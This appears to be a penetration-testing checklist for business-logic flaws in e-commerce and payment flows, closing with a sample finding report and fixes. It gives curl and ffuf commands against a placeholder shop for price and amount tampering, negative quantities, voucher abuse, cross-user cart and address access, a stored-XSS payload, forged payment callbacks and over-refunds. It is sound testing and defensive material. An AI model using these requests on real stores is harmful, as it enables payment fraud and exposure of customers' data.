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Testing business-logic flaws in e-commerce and payment flows including price/product tampering, quantity abuse, voucher and gift-card manipulation, cart and shipping IDOR, payment-method and amount tampering, currency swaps, refund manipulation, and out-of-stock ordering.
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Detecting and exploiting HTTP request smuggling vulnerabilities caused by Content-Length and Transfer-Encoding parsing discrepancies between front-end and back-end servers.
Identifying and exploiting OAuth 2.0 and OpenID Connect misconfigurations including redirect URI manipulation, token leakage, and authorization code theft during security assessments.
Identifying and exploiting dangling DNS records pointing to unclaimed cloud services, enabling subdomain takeover for phishing, cookie stealing, and authentication bypass during authorized penetration tests.
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基于 SOC 职业分类
| name | testing-ecommerce-and-payment-logic |
| description | Testing business-logic flaws in e-commerce and payment flows including price/product tampering, quantity abuse, voucher and gift-card manipulation, cart and shipping IDOR, payment-method and amount tampering, currency swaps, refund manipulation, and out-of-stock ordering. |
| domain | cybersecurity |
| subdomain | web-application-security |
| tags | ["penetration-testing","business-logic","ecommerce","payment","price-tampering","voucher-abuse","web-security"] |
| version | 1.0 |
| author | xalgorix |
| license | Apache-2.0 |
| nist_csf | ["PR.PS-01","ID.RA-01","PR.DS-10","DE.CM-01"] |
E-commerce bugs are logic bugs: the server trusts a value it should recompute, or skips an authorization check between steps. Work this checklist on every flow:
price, amount, total,
unit_price in add-to-cart, checkout, or the gateway hand-off. Lower it and
see if the order/charge honors the client value instead of the catalog price.quantity=-1 or
amount=-100. Buggy totals subtract, producing a credit, refund, or
balance increase. Also test very large quantities for integer overflow on price.code=X&code=X); brute-force short/sequential codes; tamper the
discount // fields directly.valuepercentcountcurrency=USD to currency=INR/IDR while keeping
the numeric amount — pay 100 in a weaker unit for a 100 USD item, or exploit
rounding between currencies.payment_method=COD (cash on delivery) or
payment_status=paid on an order that was never paid, skipping the gateway.Capture one clean end-to-end order and enumerate every state-changing request.
# With Burp recording, complete a full legitimate purchase as the attacker
# account and list each step + the fields it carries:
# 1. GET /product/{id} -> catalog price
# 2. POST /cart/add {product_id, quantity, price?}
# 3. GET /cart {items[], subtotal, total}
# 4. POST /cart/voucher {code}
# 5. POST /checkout/address{address_id | address fields}
# 6. POST /checkout/shipping{method, cost}
# 7. POST /checkout/pay {amount, currency, payment_method, order_id}
# 8. (gateway redirect / callback) /payment/callback {status, amount, sig}
# 9. GET /order/{id} {status, total, paid}
# Mark every field the CLIENT supplies that the SERVER should compute.
Test whether the server recomputes price from the catalog or trusts the client.
# (a) Lower the unit price during add-to-cart:
curl -s -X POST -H "Authorization: $TOKEN_A" -H "Content-Type: application/json" \
-d '{"product_id":501,"quantity":1,"price":1.00}' \
"https://shop.example.com/api/cart/add"
# Then GET /cart and check whether total reflects 1.00 instead of catalog price.
# (b) Product ID swap: pay for a cheap item, receive an expensive one by
# pointing the line item / SKU at a high-value product after pricing:
curl -s -X POST -H "Authorization: $TOKEN_A" -H "Content-Type: application/json" \
-d '{"cart_item_id":"abc","product_id":999}' \
"https://shop.example.com/api/cart/update"
# 999 = high-value product; total still reflects the original cheap line.
# (c) Amount tamper at the gateway hand-off (the high-impact one):
curl -s -X POST -H "Authorization: $TOKEN_A" -H "Content-Type: application/json" \
-d '{"order_id":"o-1001","amount":1.00,"currency":"USD"}' \
"https://shop.example.com/api/checkout/pay"
# Confirm whether the captured charge is 1.00 while order shows full value.
Manipulate quantity to drive totals negative or overflow.
# Negative quantity -> negative line total -> credit / reduced grand total:
curl -s -X POST -H "Authorization: $TOKEN_A" -H "Content-Type: application/json" \
-d '{"product_id":501,"quantity":-3}' \
"https://shop.example.com/api/cart/add"
# Check if subtotal/total drops below the price of other items (free goods).
# Mixed cart: add an expensive item (+1) and a cheap item with large negative qty
# to zero out or invert the grand total.
# Integer overflow on price * quantity:
-d '{"product_id":501,"quantity":2147483647}' # may wrap to a small/negative total
# Fractional / string quantities the backend may mis-handle:
-d '{"product_id":501,"quantity":0.0001}'
-d '{"product_id":501,"quantity":"1e-5"}'
Test reuse, stacking, guessing, and direct value tampering.
# (a) Reuse a single-use voucher after the first order completes:
curl -s -X POST -H "Authorization: $TOKEN_A" -H "Content-Type: application/json" \
-d '{"code":"WELCOME50"}' "https://shop.example.com/api/cart/voucher"
# Apply, checkout, then apply the SAME code on a second order.
# (b) Stack the same voucher twice via parameter pollution / repeated apply:
curl -s -X POST -H "Authorization: $TOKEN_A" \
--data 'code=WELCOME50&code=WELCOME50' \
"https://shop.example.com/api/cart/voucher"
# Or call the apply endpoint twice and confirm the discount doubles.
# (c) Brute-force / guess short or sequential codes:
ffuf -u "https://shop.example.com/api/cart/voucher" -X POST \
-H "Authorization: $TOKEN_A" -H "Content-Type: application/json" \
-d '{"code":"FUZZ"}' -w codes.txt -mr '"discount"' -t 10 -rate 20
# (d) Tamper the voucher value/count/percent directly if client-supplied:
-d '{"code":"WELCOME50","discount_value":99999,"count":5}'
-d '{"code":"WELCOME50","percent":100}'
# (e) Gift-card balance tamper: apply a card and alter its balance field, or
# redeem the same gift-card code concurrently (race) to double-spend.
Test object-level authorization across users on shopping objects.
# Cart IDOR: add to / view / delete items in User B's cart with User A's token:
curl -s -H "Authorization: $TOKEN_A" \
"https://shop.example.com/api/cart/CART_ID_OF_USER_B"
curl -s -X DELETE -H "Authorization: $TOKEN_A" \
"https://shop.example.com/api/cart/CART_ID_OF_USER_B/items/77"
# Shipping-address IDOR: read or overwrite another user's saved address:
curl -s -H "Authorization: $TOKEN_A" \
"https://shop.example.com/api/addresses/ADDR_ID_OF_USER_B"
curl -s -X PUT -H "Authorization: $TOKEN_A" -H "Content-Type: application/json" \
-d '{"line1":"redirected","city":"x"}' \
"https://shop.example.com/api/addresses/ADDR_ID_OF_USER_B"
# Stored XSS in address/order fields (renders in admin order dashboard / invoice):
-d '{"line1":"<script>alert(document.domain)</script>","city":"x","zip":"00000"}'
# Order-tracking IDOR: enumerate order IDs to read others' orders/PII:
for id in $(seq 1000 1010); do
curl -s -o /dev/null -w "order $id: %{http_code}\n" \
-H "Authorization: $TOKEN_A" "https://shop.example.com/api/order/$id"
done
Tamper the money-moving steps and inventory controls.
# Payment-method downgrade -> force COD / mark paid without paying:
curl -s -X POST -H "Authorization: $TOKEN_A" -H "Content-Type: application/json" \
-d '{"order_id":"o-1001","payment_method":"COD"}' \
"https://shop.example.com/api/checkout/pay"
-d '{"order_id":"o-1001","payment_status":"paid"}' # state tamper
# Replay/forge the gateway success callback to confirm an unpaid order:
curl -s -X POST "https://shop.example.com/api/payment/callback" \
-H "Content-Type: application/json" \
-d '{"order_id":"o-1001","status":"success","amount":1.00}'
# Confirm whether the callback signature is verified.
# Currency swap (same numeric amount, weaker currency):
-d '{"order_id":"o-1001","amount":100,"currency":"IDR"}' # vs USD item
# Refund manipulation -> refund more than paid / re-refund:
curl -s -X POST -H "Authorization: $TOKEN_A" -H "Content-Type: application/json" \
-d '{"order_id":"o-1001","refund_amount":500.00}' \
"https://shop.example.com/api/order/o-1001/refund" # paid only 50
# Out-of-stock ordering / inventory bypass:
-d '{"product_id":888,"quantity":100}' # 888 has 0 stock; does it accept?
# CVV/PAN exposure check (PCI): inspect responses for stored/echoed card data:
curl -s -H "Authorization: $TOKEN_A" "https://shop.example.com/api/order/o-1001" \
| grep -iE '"cvv"|"cvc"|"pan"|"card_number"'
| Concept | Description |
|---|---|
| Price/amount tampering | Server trusts a client-supplied price/total instead of recomputing from the catalog |
| Negative quantity/amount | Negative values invert totals into credits or free goods |
| Main vs sub-request mismatch | Amount differs between the app order and the gateway charge/callback |
| Voucher stacking/reuse | Applying a single-use or single-instance discount multiple times |
| Cart/address/order IDOR | Accessing or modifying another user's shopping objects via predictable IDs |
| Payment-method downgrade | Forcing COD or a "paid" state to bypass actual payment |
| Currency swap | Keeping the numeric amount while changing to a weaker currency |
| Refund manipulation | Refunding more than paid, re-refunding, or cancel-and-keep state abuse |
| Inventory bypass | Ordering out-of-stock/limited items, often combined with a stock race |
| Tool | Purpose |
|---|---|
| Burp Suite (Repeater) | Tamper each funnel step: price, quantity, voucher, amount, currency, refund |
| Burp Intruder / ffuf | Brute-force/guess voucher and gift-card codes; enumerate order IDs |
| Gateway sandbox (Stripe/Adyen/etc. test mode) | Safe payment testing with test cards, no real charges |
| Turbo Intruder | Race conditions on voucher redemption, gift-card spend, and stock decrement |
| Two test accounts | Prove cart/address/order IDOR with cross-user requests |
| jq | Diff legitimate vs tampered order/cart responses for total/state changes |
The checkout sends amount to the payment gateway from the client. Lowering it to 1.00 charges the card 1.00 while the order is fulfilled at full value, because the server never reconciles the captured amount with the order total.
A single-use 50% code is applied twice with code=X&code=X, compounding the discount to effectively free goods because each apply is processed independently.
Adding an item with quantity=-2 subtracts from the grand total, letting the attacker zero out the cart or generate store credit at checkout.
A user updates another customer's saved address via a predictable address_id, redirecting their shipments, and injects <script> that fires in the admin order dashboard that renders addresses unescaped.
Replaying the gateway success callback with status=success marks an unpaid order as paid because the callback signature is not verified server-side.
## E-commerce / Payment Logic Finding
**Vulnerability**: Payment Amount Tampering (client-controlled charge)
**Severity**: Critical (CVSS 9.1)
**Location**: POST /api/checkout/pay (field: amount)
**OWASP Category**: A04:2021 - Insecure Design / A01:2021 - Broken Access Control
### Reproduction Steps
1. Add product 501 (catalog price 499.00) to cart and proceed to checkout
2. Intercept POST /api/checkout/pay and change "amount":499.00 to "amount":1.00
3. Complete payment in the gateway sandbox; card is charged 1.00
4. GET /api/order/{id} shows status "paid" with total 499.00 and the item shipped
5. Server did not reconcile captured amount against order total
### Issues Confirmed
| Test | Result |
|------|--------|
| Price tamper in cart/add | Honored client price |
| Gateway amount tamper | Charged 1.00 for 499.00 item |
| Negative quantity | Produced negative line total |
| Voucher reuse (single-use) | Re-applied on second order |
| Voucher stacking (code=X&code=X) | Discount doubled |
| Cart/address/order IDOR | Cross-user access confirmed |
| Forged payment callback | Marked unpaid order paid |
| CVV in order response | Not exposed |
### Impact
- Direct financial loss: goods purchased far below price / for free
- Store-credit generation via negative quantities and over-refunds
- Exposure and modification of other customers' carts, addresses, and orders
- Order fulfillment without genuine payment via callback forgery
### Recommendation
1. Recompute every price, total, tax, shipping, and discount server-side from
trusted catalog data; never trust client-supplied amounts.
2. Reconcile the gateway-captured amount/currency against the order before
fulfilment; verify and sign all payment callbacks.
3. Reject non-positive quantities; enforce integer bounds to prevent overflow.
4. Enforce voucher single-use, per-user limits, and atomic redemption; ignore
duplicate/polluted parameters; use long random non-sequential codes.
5. Apply object-level authorization to carts, addresses, and orders; use
non-enumerable IDs and escape all stored fields rendered in dashboards.
6. Restrict refund amounts to the captured total and guard order state
transitions; never store or return CVV (PCI-DSS).